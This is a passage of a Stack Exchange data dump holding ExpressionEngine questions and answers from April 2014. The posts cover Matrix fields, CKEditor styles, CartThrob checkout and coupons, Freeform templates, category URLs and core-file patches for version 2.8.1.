  <row Id="21541" PostTypeId="2" ParentId="21538" CreationDate="2014-04-29T14:47:00.510" Score="0" Body="&lt;p&gt;You could use an &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/channel_form/index.html&quot; rel=&quot;nofollow&quot;&gt;extension hook&lt;/a&gt; to manually create a new member in the &lt;code&gt;exp_members&lt;/code&gt; table. Just grab the data from the form and do all your work in your extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have to write the SQL queries yourself using the CodeIgniter API, but I've seen it work.&lt;/p&gt;&#xA;" OwnerUserId="2109" LastActivityDate="2014-04-29T14:47:00.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21542" PostTypeId="2" ParentId="21461" CreationDate="2014-04-29T16:26:10.387" Score="0" Body="&lt;p&gt;I believe the matrix row_id should be unique, so the problem might be where you have 2 matrix fields outputting the same row_id values (184 and 185 for both fields). Try looking in the db in exp_matrix_data for entry_id 34 and see what the row_id values are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would try using the var_prefix parameter for your matrix fields and see if that corrects the output, like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_prefix=&quot;mx1&quot; and var_prefix=&quot;mx2&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you would have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{cf_couleur var_prefix=&quot;mx1&quot;}&#xA;  &amp;lt;div class=&quot;field&quot;&amp;gt;&amp;lt;!--THIS IS A MATRIX ROW--&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;cf_couleur[row_order][]&quot; value=&quot;row_id_{mx1:row_id}&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;cf_couleur&quot; name=&quot;cf_couleur[row_id_{mx1:row_id}][col_id_26]&quot; value=&quot;{mx1:couleur1}&quot;&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;{/cf_couleur}&#xA;&#xA;{cf_forme var_prefix=&quot;mx2&quot;}&#xA;  &amp;lt;div class=&quot;field&quot;&amp;gt;&amp;lt;!--THIS IS A MATRIX ROW--&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;cf_forme[row_order][]&quot; value=&quot;row_id_{mx2:row_id}&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;cf_forme&quot; name=&quot;cf_forme[row_id_{mx2:row_id}][col_id_27]&quot; value=&quot;{mx2:form1}&quot;&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;{/cf_forme}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="1326" LastEditDate="2014-04-29T17:27:10.837" LastActivityDate="2014-04-29T17:27:10.837" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21543" PostTypeId="1" CreationDate="2014-04-29T18:32:46.030" Score="0" ViewCount="252" Body="&lt;p&gt;I've got a Wyvern field using Typekit, custom CSS and JS. I have a style called 'callout-right' that is applied to divs. It looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/esXxb.png&quot; alt=&quot;callout right&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem: when I try to change text within the styled div, Wyvern applies the div style to h2, h3, etc.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5D049.png&quot; alt=&quot;Problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the HTML it generates. You can see Wyvern is applying the callout-right class to my h2 tag.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UBiTj.png&quot; alt=&quot;Source&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want it to leave my text elements alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My JS file is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CKEDITOR.addStylesSet('wyvern', [&#xA;{name:'Image on Left',element:'img',attributes:{'class': 'left'}},&#xA;{name:'Image on Right',element:'img',attributes:{'class': 'right'}},&#xA;{name:'Callout Right',element:'div',attributes:{'class': 'callout-right'}},&#xA;{name:'Callout Left',element:'div',attributes:{'class': 'callout-left'}},&#xA;]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="225" LastEditorUserId="225" LastEditDate="2014-04-29T19:28:09.460" LastActivityDate="2014-05-02T19:05:43.120" Title="Wyvern and CKEditor - tags within custom styles not working" Tags="|css|wysiwyg|wyvern|ckeditor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21544" PostTypeId="2" ParentId="21543" CreationDate="2014-04-29T18:36:03.700" Score="2" Body="&lt;p&gt;This isn't a Wyvern thing at all, its CKeditor's behavior. Wyvern just wraps CKeditor and provides a few EE specific features. Any and all behavior inside of the editing region is all CKeditor's behavior. You'll have better luck at the CKeditor forums for something like this.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2014-04-29T18:36:03.700" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21545" PostTypeId="2" ParentId="21533" CreationDate="2014-04-29T19:32:09.950" Score="2" Body="&lt;p&gt;Take a look at line 1187 in &lt;code&gt;system/expressionengine/controllers/cp/content_files.php&lt;/code&gt;. The function &lt;code&gt;do_sync_files()&lt;/code&gt; is called by the synchronize page. This would be in the EE 2.8.1 core files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could probably write a script that calls that function or else re write the logic for your own use (I think it checks a bunch of environment variables that would not let it work from the command line).&lt;/p&gt;&#xA;" OwnerUserId="2109" LastActivityDate="2014-04-29T19:32:09.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21546" PostTypeId="1" AcceptedAnswerId="21547" CreationDate="2014-04-29T19:38:04.123" Score="1" ViewCount="350" Body="&lt;p&gt;I've run into a problem after updating from 2.7.3 to 2.8.1. I've got a couple pages that have this error (below). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also noticed, every time I have an &quot;{exp:channel:entries} {/exp:channel:entries}&quot; tag, the error is present. So if I repeated the tags 3 times, I'de have the error repeat 3 times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone ran into this problem after upgrading?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Severity: Notice  &#xA;Message: Undefined variable: category_name&#xA;Filename: helpers/segment_helper.php&#xA;Line Number: 98&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="633" LastActivityDate="2014-04-29T19:41:46.183" Title="Undefined variable: category_name after 2.8.1 upgrade?" Tags="|channel-entries|2.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21547" PostTypeId="2" ParentId="21546" CreationDate="2014-04-29T19:41:46.183" Score="8" Body="&lt;p&gt;Found the fix.&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/20152&quot;&gt;https://support.ellislab.com/bugs/detail/20152&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit system/expressionengine/helpers/segment_helper.php around line 97 to add this conditional above ee()-&gt;load-&gt;model(‘category_model’); so it looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (empty($category_name))&#xA;            {&#xA;                return '';&#xA;            }&#xA;&#xA;            ee()-&amp;gt;load-&amp;gt;model('category_model'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="633" LastActivityDate="2014-04-29T19:41:46.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21548" PostTypeId="2" ParentId="21537" CreationDate="2014-04-29T23:07:45.760" Score="0" Body="&lt;p&gt;This discount option is actually &lt;em&gt;Amount off for orders over 'x' $&lt;/em&gt; rather than a quantity threshold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, get $2 discount when your order is over $20.&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-04-29T23:07:45.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21549" PostTypeId="2" ParentId="21026" CreationDate="2014-04-29T23:48:55.100" Score="1" Body="&lt;p&gt;I am getting the same thing. {path='logout'} does not work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This finally ended up working. I use Solspace User, not sure if that is related..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{path='?ACT=16'}&amp;amp;XID={XID_HASH}&quot;&amp;gt;Log out&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="812" LastEditorUserId="150" LastEditDate="2014-06-29T03:35:38.030" LastActivityDate="2014-06-29T03:35:38.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21550" PostTypeId="2" ParentId="21538" CreationDate="2014-04-30T03:01:22.443" Score="1" Body="&lt;p&gt;I would recommend using an add-on like &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-visitor&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt;, which ties users to channel entries. There is a tag for a registration form which could include any other fields you wanted for the channel entry as well as creating a user.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-04-30T03:01:22.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21551" PostTypeId="2" ParentId="21529" CreationDate="2014-04-30T04:27:03.563" Score="0" Body="&lt;p&gt;Unfortunately this feature isn't available as of this writing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on.&#xA;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a workaround for now, you could hard-code an &lt;code&gt;https://&lt;/code&gt; URL in the &lt;code&gt;return=&quot;&quot;&lt;/code&gt; parameter to replace the non-existent secure_return=&quot;yes&quot; parameter functionality, and use javascript/jQuery to change the &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt;'s action=&quot;&quot; attribute to contain &lt;code&gt;https://&lt;/code&gt; instead of &lt;code&gt;http://&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively for both cases, you could use the protocol-agnostic &lt;code&gt;//&lt;/code&gt; instead as al alternative. Eg. use &lt;code&gt;return=&quot;//mysite.com/etc&quot;&lt;/code&gt; and use javascript/jQuery to change the action=&quot;&quot; &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; attribute to &lt;code&gt;action=&quot;//mysite.com/etc&quot;&lt;/code&gt;. This would cover both http and https cases.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-04-30T04:27:03.563" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21552" PostTypeId="1" CreationDate="2014-04-30T04:29:32.360" Score="1" ViewCount="109" Body="&lt;p&gt;I am using Cartthrob 2.5 and EE 2.8.1 and when I use the coupon form from the docs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_coupon_form return=&quot;cart/view_cart&quot;}&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;coupon_code&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;Add Coupon&quot; /&amp;gt;&#xA;{/exp:cartthrob:add_coupon_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE throws an error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The discount code you entered is not valid for any of the items in your cart.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The fields are properly mapped in the CT CP and the coupon entry is set to open without expiration date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any setting in CT I might have missed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="1336" LastActivityDate="2014-05-30T05:34:56.100" Title="Coupon Code throws error when submitting" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21553" PostTypeId="2" ParentId="21552" CreationDate="2014-04-30T04:43:20.650" Score="1" Body="&lt;p&gt;Oops, as it turned out you have to specify the product ID in the coupon entry. &#xA;Would be great if the coupon code would apply to all products when left blank.&lt;/p&gt;&#xA;" OwnerUserId="1336" LastActivityDate="2014-04-30T04:43:20.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21554" PostTypeId="2" ParentId="21506" CreationDate="2014-04-30T04:45:42.353" Score="1" Body="&lt;p&gt;The &quot;Default Incoming Data&quot; option in the Freeform CP for hidden fields can accept tags and such, but complex template parsing, such as parsing of member fields and conditionals, could be a little too complex for this simple text input field, or not parsed in the correct order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use a &lt;strong&gt;custom Composer Template&lt;/strong&gt; with your Composer form, where you add a conditional for hidden field. When this conditional is met, try using your code to hard-code your own hidden field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, starting with this section of your Composer Template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if composer:field_output}&#xA;    {if composer:field_type == 'nonfield_title'}&#xA;        &amp;lt;h2&amp;gt;{composer:field_output}&amp;lt;/h2&amp;gt;&#xA;    {if:elseif composer:field_type == 'nonfield_captcha'}&#xA;        {if freeform:captcha}&#xA;                {freeform:captcha}&amp;lt;br /&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;&quot;&#xA;                       size=&quot;20&quot;   maxlength=&quot;20&quot; style=&quot;width:140px;&quot; /&amp;gt;&#xA;        {/if}&#xA;    {if:else}&#xA;        &amp;lt;p&amp;gt;{composer:field_output}&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's assume your hidden field name is &quot;my_hidden_field&quot;. You could add a conditional for hidden fields like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if composer:field_output}&#xA;    {if composer:field_type == 'nonfield_title'}&#xA;        &amp;lt;h2&amp;gt;{composer:field_output}&amp;lt;/h2&amp;gt;&#xA;    {if:elseif composer:field_type == 'hidden'}&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;my_hidden_field&quot; value=&quot;&#xA;        {exp:member:custom_profile_data}&#xA;        {exp:channel:entries dynamic=&quot;no&quot; channel=&quot;schools&quot;}&#xA;          {if &quot;{member_school}&quot; == &quot;{school_code}&quot;}&#xA;            {title}&#xA;          {/if}&#xA;        {/exp:channel:entries}&#xA;        {/exp:member:custom_profile_data}&#xA;        &quot; /&amp;gt;&#xA;    {if:elseif composer:field_type == 'nonfield_captcha'}&#xA;        {if freeform:captcha}&#xA;                {freeform:captcha}&amp;lt;br /&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;&quot;&#xA;                       size=&quot;20&quot;   maxlength=&quot;20&quot; style=&quot;width:140px;&quot; /&amp;gt;&#xA;        {/if}&#xA;    {if:else}&#xA;        &amp;lt;p&amp;gt;{composer:field_output}&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might also want to put your &lt;code&gt;{exp:member:custom_profile_data}...{/exp:member:custom_profile_data}&lt;/code&gt; code on one line as well, or else your hidden field might also save extra spaces and linebreaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If trying this in the Composer Template editor in the CP doesn't work, try putting your Composer Template code in a regular EE template, inside a &lt;code&gt;{exp:freeform:composer}...{/exp:freeform:composer}&lt;/code&gt; tag pair.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-04-30T04:45:42.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21555" PostTypeId="2" ParentId="21461" CreationDate="2014-04-30T08:28:20.337" Score="3" Body="&lt;p&gt;So, a bright (Latvian) mind was kind enough to look into this. It seems the problem lies with ExpressionEngine code on this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Embeds or Stash will work just fine but you can also patch EE as follow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; system/expressionengine/modules/channel/libraries/channel_form/Channel_form_lib.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method:&lt;/strong&gt; replace_tag&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;api_channel_fields-&amp;gt;apply('_init', array(array(&#xA;    'row' =&amp;gt; $this-&amp;gt;entry,&#xA;    'content_id' =&amp;gt; $this-&amp;gt;entry('entry_id')&#xA;)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$field_id = $this-&amp;gt;get_field_id($field_name);&#xA;ee()-&amp;gt;api_channel_fields-&amp;gt;apply('_init', array(array(&#xA;    'row' =&amp;gt; $this-&amp;gt;entry,&#xA;    'content_id' =&amp;gt; $this-&amp;gt;entry('entry_id'),&#xA;    'field_id' =&amp;gt; $field_id&#xA;)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That fixes the problem. Tested in EE 2.8.1 with Matrix 2.5.10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will post bug report.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2014-04-30T08:28:20.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21556" PostTypeId="1" CreationDate="2014-04-30T08:48:30.970" Score="0" ViewCount="234" Body="&lt;p&gt;I'm trying to save some custom member fields to EE's member section using CartThrob's checkout form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created all the necessary member fields and mapped some of the basic fields in CartThrob's settings and they save just fine. Only the custom_data inputs don't save in the newly created EE member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the gist of what my form looks like so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:checkout_form create_user=&quot;yes&quot; group_id=&quot;5&quot;}    &#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;first_name&quot; value=&quot;&quot; id=&quot;first_name&quot; class=&quot;required&quot;  /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;last_name&quot; value=&quot;&quot; id=&quot;last_name&quot; class=&quot;required&quot;  /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; value=&quot;&quot; placeholder=&quot;Preferred Name&quot; name=&quot;custom_data[preferred_name]&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; value=&quot;&quot; placeholder=&quot;DOB Day&quot; name=&quot;custom_data[member_dob_day]&quot; /&amp;gt;&#xA;{/exp:cartthrob:checkout_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This was all done following &lt;a href=&quot;http://cartthrob.com/docs/backend/members/index.html#member-data&quot; rel=&quot;nofollow&quot;&gt;CartThrob's docs&lt;/a&gt; and many iterations of not working.&#xA;Any direction guys, much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3035" LastActivityDate="2020-08-22T17:02:00.393" Title="Custom data not saving to members on checkout" Tags="|cartthrob|members|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21557" PostTypeId="1" CreationDate="2014-04-30T09:01:05.163" Score="0" ViewCount="139" Body="&lt;p&gt;I am having some trouble with Solspace super search not returning results on some channels. For example &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results limit=&quot;3&quot; channel=&quot;getting_here&quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;        {title}&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And my URL that this query is on&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/search&amp;amp;keywords=journey/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are entries in the getting here channel with &quot;journey&quot; in the title. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searches of other channels return results but this one does not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running ExpressionEngine v2.6.1 &amp;amp; Solspace Super Search v2.1.3&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2014-04-30T09:01:05.163" Title="Solspace Super Serarch Returns No Results" Tags="|solspace|search|supersearch|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21558" PostTypeId="1" AcceptedAnswerId="21662" CreationDate="2014-04-30T09:08:59.943" Score="1" ViewCount="105" Body="&lt;p&gt;I'm using Expresso Store v2 for a rental service.&#xA;Is it possible when a client makes an order he gets a quote? I thought this was a feature but I can't find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is it possible to put an order on Pending by default? So stock levels will stay the same. I could hide the payment part for the client and it would function as a quote request. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Asking this, it comes to mind that there aren't any options for orders like refund, cancelled etc... I can create an Order state and name it Refund but this doesn't restore the stock levels, total sales etc. I could be wrong and missed something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tnx &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit]&#xA;I solved it (sort of). Still would be nice as a feature.&#xA;I disabled track_stock but left the stock numbers intact. So now stock numbers al always maximum. Payment part is hidden and now clients can request a Quote. &lt;/p&gt;&#xA;" OwnerUserId="1178" LastEditorUserId="1178" LastEditDate="2014-05-01T13:45:43.187" LastActivityDate="2014-05-05T00:58:06.397" Title="Expresso Store Get a Quote instead of payment" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21559" PostTypeId="2" ParentId="21556" CreationDate="2014-04-30T09:25:59.487" Score="0" Body="&lt;p&gt;You might find this post useful which shows how we approached this scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/21339/cartthrob-checkout-form-with-different-billing-and-member-information/21343#21343&quot;&gt;Cartthrob checkout form with different billing and member information&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1287" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-04-30T09:25:59.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21560" PostTypeId="2" ParentId="21523" CreationDate="2014-04-30T11:28:53.163" Score="3" Body="&lt;p&gt;Yes I don't see any problem with that if it's just for a simple tax adjustment. We don't look to make things deliberately hard. :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also look to set it up as an actual &lt;code&gt;tax adjustment&lt;/code&gt; if you wanted to however. Adjustments were introduced in Store v2 to handle extra line items for anything which is &lt;em&gt;not&lt;/em&gt; a product (e.g. shipping, discounts, taxes). Basically you write an Adjuster class, which is passed each order, and returns an array of adjustments. Each adjustment will either add or subtract from the order total (this happens automatically, all you need to do is return an array of appropriate adjustments).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your templates we provide the &lt;a href=&quot;https://exp-resso.com/docs/checkout_tag.html#adjustments_loop&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{adjustments}{/adjustments}&lt;/code&gt; loop&lt;/a&gt; and corresponding tags to easily loop through and display any adjustments you've added/subtracted from the order. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like I said though for a simple adjustment there's nothing wrong with how you currently have it but it's useful to know about adjustments if you need them in the future.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-30T11:28:53.163" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21561" PostTypeId="2" ParentId="21531" CreationDate="2014-04-30T11:30:13.477" Score="1" Body="&lt;p&gt;I think it's going to be a bit trickier than that because when you move to the checkout you use the &lt;code&gt;Checkout&lt;/code&gt; tags instead of the &lt;code&gt;Product&lt;/code&gt; tag. The difference is that in the &lt;code&gt;Product&lt;/code&gt; tag &lt;code&gt;item_qty&lt;/code&gt; represents the number of items the user wants to buy. In the &lt;code&gt;Checkout&lt;/code&gt; tag &lt;code&gt;item_qty&lt;/code&gt; represents how many items the user has in their cart. There's not really a ready-made way to do that so you'd need to run a separate query on the product inventory and then use that to populate the drop-down list. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-30T11:30:13.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21562" PostTypeId="1" CreationDate="2014-04-30T12:28:45.200" Score="0" ViewCount="342" Body="&lt;p&gt;i wants to get parent url of child categories like this Example: PRODUCTS &amp;amp; SERVICES &gt; ENTERTAINMENT &gt; SURPRISE PROMO. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PRODUCTS &amp;amp; SERVICES is my parent category, and ENTERTAINMENT is PRODUCTS &amp;amp; SERVICES's child category, and SURPRISE PROMO is ENTERTAINMENT's child category. so i need to get full url like this &quot;www.example.com/products-services/entertainment/surprise-promo&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories category_group=&quot;1&quot;}&#xA;    &amp;lt;a href=&quot;{category_url_title}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help how to get full URL,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3038" LastEditorUserId="3038" LastEditDate="2014-04-30T13:06:59.760" LastActivityDate="2014-04-30T15:07:07.203" Title="how to get parent URLs belonging to it's child categories?" Tags="|categories|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21564" PostTypeId="2" ParentId="21562" CreationDate="2014-04-30T13:44:54.100" Score="2" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GW Code Categories&lt;/a&gt;&lt;/strong&gt; is pretty much my goto addon for anything to do with manipulating category output. It has useful parameters &amp;amp; variables for this type of stuff: &lt;code&gt;{complete_path}&lt;/code&gt; &amp;amp; &lt;code&gt;{output_path}&lt;/code&gt; which would work in your case. There is also an example of category based breadcrumbs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;add-ons&quot; limit=&quot;1&quot;}&#xA;    &amp;lt;a href=&quot;{site_url}&quot;&amp;gt;Home&amp;lt;/a&amp;gt; &amp;amp;raquo;&#xA;    {exp:gwcode_categories entry_id=&quot;{entry_id}&quot; style=&quot;linear&quot;}&#xA;        {if group_start}&amp;lt;a href=&quot;{path=&quot;add-ons&quot;}&quot;&amp;gt;{cat_group_name}&amp;lt;/a&amp;gt; &amp;amp;raquo;{/if}&#xA;        &amp;lt;a href=&quot;{path=&quot;add-ons/{cat_url_title}&quot;}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt; &amp;amp;raquo;&#xA;    {/exp:gwcode_categories}&#xA;    {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also swap &lt;code&gt;{path=&quot;add-ons/{cat_url_title}&quot;}&lt;/code&gt; for &lt;code&gt;{complete_path}&lt;/code&gt; as it will successively build the URL's in each anchor.&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2014-04-30T15:07:07.203" LastActivityDate="2014-04-30T15:07:07.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21565" PostTypeId="1" AcceptedAnswerId="21568" CreationDate="2014-04-30T14:46:22.833" Score="0" ViewCount="47" Body="&lt;p&gt;I was wondering if there was a quick way to sort entries in the control panel automatically by their titles without modifying core files. Did I miss anything in the documentation and settings?&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-04-30T15:36:56.537" Title="Sorting entries alphabetically in the control panel by default." Tags="|control-panel|alphabetically|sorting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
